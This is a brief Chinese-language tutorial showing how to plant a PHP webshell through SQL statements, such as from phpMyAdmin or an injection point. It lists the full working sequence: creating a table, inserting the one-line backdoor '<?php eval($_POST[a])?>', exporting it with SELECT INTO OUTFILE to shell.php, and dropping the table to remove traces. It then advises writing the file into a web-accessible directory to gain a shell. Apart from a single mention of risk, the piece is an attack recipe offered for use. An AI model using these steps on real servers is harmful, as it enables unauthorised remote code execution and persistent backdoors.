如何通过SQL语句写入webshell

在web应用场景下，经常会碰到SQL注入场景，如页面能够执行SQL语句，那么可能会有直接通过SQL语句写入webshell的风险，常见的phpmyadmin环境下，通过几个语句可以轻松将一句话木马写入到服务器文件，如下：

use test; //进入数据库
create table test (shell text not null); //创建表
insert into test (shell) values('<?php eval($_POST[a])?>'); //插入表单数据
select shell from test into outfile 'C:/shell.php'; //写入文件
drop table test; //删除表

完成后，在C盘下即可看到shell.php文件，一般情况下将其写入到服务器虚拟主机相关目录，确保能够访问，后面即可通过getshell了